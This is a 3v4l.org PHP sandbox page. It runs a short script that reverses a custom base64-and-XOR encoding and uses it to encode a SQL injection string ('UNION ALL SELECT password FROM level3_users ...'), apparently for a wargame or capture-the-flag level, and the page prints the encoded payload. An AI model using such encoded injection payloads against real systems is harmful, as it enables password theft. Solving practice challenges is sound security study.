3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin UNION ALL SELECT password FROM level3_users WHERE username = 'Admin'/*"); print "\n"; ?>
Output for git.master, git.master_jit, rfc.property-hooks
Admin MTI5MTY0MTczMTY5MTc0MjI0MTQ5MTQyMTM3MTQzMTQyMjI0MTI5MTQwMTQwMjI0MTQ3MTMzMTQwMTMzMTMxMTQ4MjI0MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjI0MTM0MTQ2MTQzMTQxMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTUxMTM2MTMzMTQ2MTMzMjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjI0MjUzMjI0MjMxMTI5MTY0MTczMTY5MTc0MjMxMjM5MjM0

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
45.84 ms | 401 KiB | 8 Q